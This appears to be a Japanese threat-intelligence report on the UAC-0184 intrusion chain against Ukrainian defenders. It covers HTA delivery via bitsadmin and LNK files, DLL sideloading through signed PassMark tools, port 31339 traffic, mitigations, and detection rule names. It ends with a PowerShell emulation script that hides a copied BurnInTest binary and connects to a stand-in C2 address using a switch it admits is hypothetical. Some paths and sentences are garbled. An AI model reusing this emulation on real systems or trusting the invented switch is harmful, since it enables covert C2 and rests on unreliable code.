UAC-0184: HTAから署名済みネットワークスタックへ
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
このレポートは、ウクライナの防衛担当者を対象としたマルチステージの侵入について説明しており、悪意のあるHTAファイルが配送され、 bitsadmin とLNKショートカットファイルを用いて開始される。ペイロードはZIPアーカイブ内で準備され、その後、Plane9コンポーネントとカスタムデコード手法(XORやLZNT1を含む)を使用し、PassMark Endpointなどの署名付きツールと共に、悪意のある input.dllを解析する。ネットワークアクティビティはポート 31339上の正規なUDPマルチキャストディスカバリを装う。分析されたサンプルでは、外部のコマンド&コントロールサーバは確認されなかった。
調査
HTAベースの配信チェーンの分析は、 bitsadmin をダウンロードするコマンドを明らかにした。このコマンドは、 Cluster-Overlay64.exe および関連するDLLファイルが含まれるZIPアーカイブをダウンロードした。リバースエンジニアリングによって、 filter.bin and kernel-diag.libを解析し、それらを読み込み、 evr.dllを読み込むローダーシーケンスが明らかになった。最終ステージでは、 VSLauncher.exe と署名済みのPassMarkをドロップし、 input.dllUDPマルチキャストディスカバリとポート 31339でのTCP通信を可能にした。攻撃者は、疑いを減らし検出を回避するために、署名済みのバイナリと正当なコード署名を利用した。
緩和策
防御者は mshta.exe の実行をブロックし、 bitsadmin が信頼できないソースからコンテンツをダウンロードするのを防ぐべきである。監視は、 bitsadmin コマンドラインや ~tmpで始まる一時ファイル名を含むLNKファイルに焦点を当てるべきである。セキュリティチームはまた、 Plane9Engine.dll or openvr_api.dll上のUDPとTCPトラフィックに対するアラートは、通常PassMarkソフトウェアを使用しないホストで構成する必要がある。アプリケーションの許可リストの作成および予期しない 31339 ファイルの検査、 VSLauncher.exe and inspection for unexpected input.dll files in the System32 or SysWOW64 パスが推奨される。
対応
関連する活動が検出された場合、すぐに影響を受けたシステムを隔離し、不揮発性メモリとドロップされたファイルを収集し、展開されたユーティリティのフォレンジック分析を実施する。同じLNKアーティファクト、DLLサイドローディングパターン、またはUDPマルチキャスト動作を示す他のホストを環境全体で探し回る。すべての悪意のあるファイルを削除し、適用可能な場合には、すべての妥当な証明書を取り消し、影響を受けたアカウントに関連付けられたクレデンシャルをリセットする。その後、抽出された指標を使用して検出コンテンツを更新する。
graph TB classDef action fill:#99ccff initial_access[“<b>初期アクセス</b> – T1547.009 ショートカット改変<br/><b>技術</b>: 悪意あるLNKショートカット<br/><b>追加</b>: T1027.012 LNKアイコン偽装”] class initial_access action execution[“<b>実行</b> – T1218.005 Mshtaプロキシ実行<br/><b>技術</b>: mshtaによるHTA実行<br/><b>追加</b>: T1204.002 ユーザー実行”] class execution action download[“<b>ダウンロード段階</b> – T1059.003 Windowsコマンドシェル<br/><b>技術</b>: PowerShell, bitsadmin<br/><b>関連</b>: T1071.002 FTP, T1570 ツール転送”] class download action staged_payload[“<b>段階的ペイロード</b> – T1055.001 DLLインジェクション<br/><b>技術</b>: Plane9 visualizer, openvr_api.dll<br/><b>追加</b>: T1546.009 AppCert DLL”] class staged_payload action obfuscation[“<b>難読化</b> – T1027 難読化ファイル<br/><b>詳細</b>: filter.bin XOR および LZNT1<br/><b>追加</b>: T1027.004 配信後コンパイル, T1573.001 対称暗号”] class obfuscation action deployment[“<b>ペイロード展開</b> – T1546.009 イベントトリガ実行<br/><b>プロセス</b>: VSLauncher.exe が input.dll をロード”] class deployment action credential[“<b>認証情報収集</b> – T1003 認証情報ダンプ<br/><b>方法</b>: インジェクション経由の MiniDumpWriteDump”] class credential action c2[“<b>コマンド&コントロール</b> – T1571 非標準ポート<br/><b>方法</b>: UDPマルチキャスト探索, TCP 31339<br/><b>追加</b>: T1090 プロキシ”] class c2 action initial_access –>|進行| execution execution –>|起動| download download –>|提供| staged_payload staged_payload –>|含む| obfuscation obfuscation –>|使用| deployment deployment –>|有効化| credential credential –>|報告| c2
攻撃フロー
検出
疑わしいファイルダウンロード直接IP(プロキシ経由)
表示
疑わしいLOLBAS MSHTAの回避行動(プロセス作成を通じたコマンドの検出)
表示
LOLBAS Bitsadmin(cmdline経由)
表示
.NETメソッドをPowershellから疑わしく呼び出す(powershell経由)
表示
アーカイブがpowershellを使って疑わしいディレクトリに抽出された(powershell経由)
表示
検出のためのIOC(HashSha256):HTAからサイン済みネットワークスタックへ
表示
検出のためのIOC(SourceIP):HTAからサイン済みネットワークスタックへ
表示
検出のためのIOC(DestinationIP):HTAからサイン済みネットワークスタックへ
表示
疑わしいPowerShell実行による悪意のあるペイロード[Windows PowerShell]
表示
PassMarkネットワークトラフィックの悪用を検出する[Windowsネットワーク接続]
表示
UAC-0184 悪意のあるHTA配送と実行(bitsadminとmshta経由)[Windowsプロセス作成]
表示
シミュレーション実行
前提条件:テレメトリとベースラインの事前フライトチェックが合格していること。
根拠:このセクションは、検出ルールをトリガーするために設計された敵の技術(TTP)の正確な実行を詳細に説明している。コマンドと説明は、特定されたTTPを直接反映し、検出ロジックによって期待される正確なテレメトリを生成することを目的とする。抽象的または無関係な例は、誤診を招く。
-
攻撃の説明とコマンド:
敵対者は PassMark BurnInTest.exe (正当なベンチマークツール)をコピーし、それを秘密裏のC2クライアントとして動作するように転用する。バイナリをカスタム引数で実行することにより、ポート31339で攻撃者が制御するサーバーへのTCP接続を開く。ファイアウォールが アプリケーション名 (「PassMark BurnInTest」)を記録するため、検出ルールのフィルタ句(product|contains: "PassMark BurnInTest")は 否定され、トラフィックが疑わしいとしてフラグされる。手順は次の通りである:- 正当なBurnInTestバイナリを隠しディレクトリにコピーする。
- C2 IP(例:
192.0.2.55)にポート31339でネットワーク接続を強制する引数で実行する。 - ファイアウォールがアウトバウンド接続を記録するのに十分な長さでプロセスを稼働し続ける。
-
回帰テストスクリプト:
# ------------------------------------------------- # コートのC2トラフィックのためにPassMark BurnInTestを転用 # ------------------------------------------------- $burnInPath = "$env:ProgramFilesPassMarkBurnInTest.exe" $hiddenDir = "$env:ProgramData.temp" $c2IP = "192.0.2.55" $c2Port = 31339 # 1. 隠しディレクトリが存在することを確認する if (-not (Test-Path $hiddenDir)) { New-Item -ItemType Directory -Path $hiddenDir -Force | Out-Null # フォルダーを隠す (Get-Item $hiddenDir).Attributes += 'Hidden' } # 2. バイナリをコピーする(攻撃者所有のコピーをシミュレート) $copiedExe = Join-Path $hiddenDir "BurnInTest.exe" Copy-Item -Path $burnInPath -Destination $copiedExe -Force # 3. バイナリを起動し、C2にTCP接続を作成する # (BurnInTestが/netスイッチをサポートしていると仮定 - これは説明用) $args = "/net $c2IP $c2Port" $proc = Start-Process -FilePath $copiedExe -ArgumentList $args -PassThru Write-Host "PassMark BurnInTestが起動されました(PID $($proc.Id)) – ファイアウォールログにC2トラフィックが表示されるはずです。" # ログを確実に記録するためにプロセスを30秒間稼働させ続ける Start-Sleep -Seconds 30 -
クリーンアップコマンド:
# ------------------------------------------------- # シミュレートされたPassMark BurnInTestアクティビティ後のクリーンアップ # ------------------------------------------------- $hiddenDir = "$env:ProgramData.temp" # 残っているBurnInTestプロセスを停止 Get-Process -Name "BurnInTest" -ErrorAction SilentlyContinue | Stop-Process -Force # 隠しディレクトリとその内容を削除 if (Test-Path $hiddenDir) { Remove-Item -Recurse -Force $hiddenDir } Write-Host "クリーンアップ完了 – BurnInTestのバイナリやプロセスは残っていません。"